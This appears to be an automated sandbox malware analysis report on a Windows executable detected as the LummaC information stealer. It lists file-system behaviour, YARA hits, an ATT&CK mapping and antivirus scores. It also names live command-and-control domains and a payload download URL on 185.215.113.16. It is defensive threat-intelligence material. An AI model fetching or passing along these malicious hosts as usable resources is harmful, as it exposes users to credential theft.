Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior

Source: Yara match	File source: 00000000.00000003.2094081148.0000000000C53000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2108782152.0000000000C55000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2078318593.0000000000C53000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2080407457.0000000000C57000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2111069521.0000000000C55000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2125586525.0000000000C57000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2094616323.0000000000C57000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2127567733.0000000000C6B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6776, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: file.exe PID: 6776, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	41 Disable or Modify Tools	2 OS Credential Dumping	1 File and Directory Discovery	Remote Services	1 Archive Collected Data	11 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Windows Service	2 Bypass User Account Control	1 Deobfuscate/Decode Files or Information	LSASS Memory	223 System Information Discovery	Remote Desktop Protocol	41 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Service Execution	Logon Script (Windows)	1 Windows Service	3 Obfuscated Files or Information	Security Account Manager	1 Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	Login Hook	2 Process Injection	12 Software Packing	NTDS	761 Security Software Discovery	Distributed Component Object Model	Input Capture	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	2 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Bypass User Account Control	Cached Domain Credentials	361 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Masquerading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	361 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	2 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	39%	ReversingLabs	Win32.Infostealer.Tinba
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
http://x1.c.lencr.org/0	0%	URL Reputation	safe
http://x1.i.lencr.org/0	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.all	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
http://crl.rootca1.amazontrust.com/rootca1.crl0	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
http://crt.rootca1.amazontrust.com/rootca1.cer0?	0%	URL Reputation	safe
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
necklacedmny.store	188.114.96.3	true	true	unknown
presticitpo.store	unknown	unknown	true	unknown
thumbystriw.store	unknown	unknown	true	unknown
crisiwarny.store	unknown	unknown	true	unknown
fadehairucw.store	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Reputation
presticitpo.store	true	unknown
necklacedmny.store	true	unknown
fadehairucw.store	true	unknown
founpiuer.store	true	unknown
crisiwarny.store	true	unknown
https://necklacedmny.store/api	true	unknown
scriptyprefej.store	true	unknown
navygenerayk.store	true	unknown
thumbystriw.store	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2080882238.0000000005566000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.2080882238.0000000005566000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	file.exe, 00000000.00000003.2111069521.0000000000C55000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/off/def.exee~	file.exe, 00000000.00000003.2261004238.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2263482300.0000000000C4D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	file.exe, 00000000.00000003.2111069521.0000000000C55000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/off/def.exeL	file.exe, 00000000.00000002.2263229004.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.2080882238.0000000005566000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/Q	file.exe, 00000000.00000003.2261004238.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2263482300.0000000000C4D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/off/def.exex	file.exe, 00000000.00000002.2263110644.0000000000AFA000.00000004.00000010.00020000.00000000.sdmp	false		unknown
http://x1.c.lencr.org/0	file.exe, 00000000.00000003.2108996791.0000000005570000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.i.lencr.org/0	file.exe, 00000000.00000003.2108996791.0000000005570000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.2080882238.0000000005566000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://necklacedmny.store/apitey.	file.exe, 00000000.00000003.2177595464.0000000000BFE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/off/def.exeh	file.exe, 00000000.00000003.2261004238.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2263482300.0000000000C4D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/products/firefoxgro.all	file.exe, 00000000.00000003.2110422004.0000000005651000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://necklacedmny.store:443/api	file.exe, 00000000.00000003.2108782152.0000000000C55000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2111069521.0000000000C55000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/44	file.exe, 00000000.00000003.2094616323.0000000000C57000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.2080882238.0000000005566000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/~	file.exe, 00000000.00000003.2153345424.0000000000C58000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2108782152.0000000000C55000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2177560237.0000000000C58000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2111069521.0000000000C55000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.2080882238.0000000005566000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.rootca1.amazontrust.com/rootca1.crl0	file.exe, 00000000.00000003.2108996791.0000000005570000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ocsp.rootca1.amazontrust.com0:	file.exe, 00000000.00000003.2108996791.0000000005570000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2080882238.0000000005566000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	file.exe, 00000000.00000003.2111069521.0000000000C55000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	file.exe, 00000000.00000003.2110422004.0000000005651000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://necklacedmny.store/apiL	file.exe, 00000000.00000003.2108782152.0000000000C55000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2109232357.0000000000C7D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2108808833.0000000000C7D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/n	file.exe, 00000000.00000003.2094081148.0000000000C53000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2094616323.0000000000C57000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000003.2080882238.0000000005566000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/	file.exe, 00000000.00000002.2263525001.0000000000C5B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2261004238.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2263482300.0000000000C4D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	file.exe, 00000000.00000003.2111069521.0000000000C55000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://necklacedmny.store/apib	file.exe, 00000000.00000002.2263229004.0000000000BFE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2177595464.0000000000BFE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/	file.exe, 00000000.00000003.2125586525.0000000000C57000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2094616323.0000000000C57000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2269665994.0000000005541000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000003.2111069521.0000000000C55000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crt.rootca1.amazontrust.com/rootca1.cer0?	file.exe, 00000000.00000003.2108996791.0000000005570000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	file.exe, 00000000.00000003.2111069521.0000000000C55000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	file.exe, 00000000.00000003.2111069521.0000000000C55000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/off/def.exey.	file.exe, 00000000.00000002.2263229004.0000000000BFE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/F	file.exe, 00000000.00000003.2108782152.0000000000C55000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2111069521.0000000000C55000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/off/def.exe	file.exe, 00000000.00000002.2263229004.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2261004238.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2263482300.0000000000C4D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000000.00000003.2080882238.0000000005566000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://necklacedmny.store/N	file.exe, 00000000.00000003.2153345424.0000000000C58000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2177560237.0000000000C58000.00000004.00000020.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
188.114.96.3	necklacedmny.store	European Union		13335	CLOUDFLARENETUS	true
185.215.113.16	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1544127
Start date and time:	2024-10-28 21:39:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 6s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/2@5/2
EGA Information:	Successful, ratio: 50%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target file.exe, PID 6776 because there are no executed function
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
16:39:58	API Interceptor	9x Sleep call for process: file.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
188.114.96.3	QUOTATION_OCTQTRA071244#U00b7PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/jI82Ms6K/download
	9D7RwuJrth.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	304773cm.n9shteam.in/jscpuGamegeneratorprivate.php
	DBUfLVzZhf.exe	Get hash	malicious	JohnWalkerTexasLoader	Browse	xilloolli.com/api.php?status=1&wallets=0&av=1
	R5AREmpD4S.exe	Get hash	malicious	JohnWalkerTexasLoader	Browse	xilloolli.com/api.php?status=1&wallets=0&av=1
	7950COPY.exe	Get hash	malicious	FormBook	Browse	www.globaltrend.xyz/b2h2/
	transferencia interbancaria_667553466579.xlam.xlsx	Get hash	malicious	AgentTesla	Browse	paste.ee/d/Gitmx
	19387759999PO-RFQ-INVOICE-doc.exe	Get hash	malicious	FormBook	Browse	www.zonguldakescortg.xyz/483l/
	PO 4800040256.exe	Get hash	malicious	FormBook	Browse	www.rtpngk.xyz/876i/
	yGktPvplJn.exe	Get hash	malicious	Pushdo	Browse	www.fnsds.org/
	rPedidodecompra__PO20441__ARIMComponentes.exe	Get hash	malicious	Lokibot, PureLog Stealer, zgRAT	Browse	dddotx.shop/Mine/PWS/fre.php
185.215.113.16	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16/Jo89Ku7d/index.php
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
necklacedmny.store	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	https://teams.microsoft.com/l/meetup-join/19%3ameeting_MjMzOWVkZWYtYzg2MC00YjYzLWE5MmItMTA0OTE2MWJkOWYw%40thread.v2/0?context=%7b%22Tid%22%3a%2211d0e217-264e-400a-8ba0-57dcc127d72d%22%2c%22Oid%22%3a%2220d61d95-c7cb-4170-b8c4-9ea749bac872%22%7d	Get hash	malicious	EvilProxy, HTMLPhisher	Browse	1.1.1.1
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	original.eml	Get hash	malicious	HTMLPhisher	Browse	1.1.1.1
	https://inspyrehomedesign.com	Get hash	malicious	NetSupport RAT	Browse	172.67.68.212
	https://inspyrehomedesign.com/Ray-verify.html	Get hash	malicious	NetSupport RAT	Browse	172.67.68.212
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	SecuriteInfo.com.Other.Malware-gen.29374.9055.xlsx	Get hash	malicious	HTMLPhisher, Lokibot	Browse	188.114.96.3
	setup.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://app.pandadoc.com/document/v2?token=2126fee3194112970cb23c51d0c56249323ace2b	Get hash	malicious	Unknown	Browse	104.16.160.168
	setup.exe	Get hash	malicious	Unknown	Browse	188.114.97.3
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	XS_Trade_AI-newest_release_.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	https://dl.dropboxusercontent.com/scl/fi/95is2w1ywjvorzayt88dp/DKM-0192PDF.zip?rlkey=svoej4s4tb5lwbnvthtgrmokl&st=d99zdn1k&dl=0	Get hash	malicious	Abobus Obfuscator	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	Okfjk1hs4kdhs2.exe	Get hash	malicious	LummaC	Browse	188.114.96.3

Process:	C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2835968
Entropy (8bit):	6.460898831281957
Encrypted:	false
SSDEEP:	49152:awQhw+MVNy5MO+jQY/4PlzfLBplm3wNXzf9p4hH7y7:bsdMVk5MlkYmFL7lm3wFzIhH7
MD5:	1BA0807FE779351DA159864E42D26753
SHA1:	175189D378BAF3B1CB1C0A9EBFD8322AC91211D0
SHA-256:	60B40F8612828603BEA099A9B8BD852E7C0FEB860431B3F058495AECB9E29609
SHA-512:	E005C0F4E1A04DEAC6980039235202629DECB0BE19CCDD25CF16AB5271F6DEE934C0B96D14678442D8CFC51398BB5939D2783BBD28C002EF835B629ED9D944A3
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$............+.. ...`....@.. ........................,.......,...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...lyjcneci..+.......*..:..............@...zpigplui. ....+...... +.............@....taggant.@....+.."...$+.............@...................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.513809458331261
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	2'895'360 bytes
MD5:	693ece77c0e3fbc32d18393b31bc55a2
SHA1:	7608b41ce0d5a18267ce2093134e636d3dca10e9
SHA256:	f3739ff53879b58f01646f7d49bba3c440243a9d0e9c21c8220d9760f71ec9ac
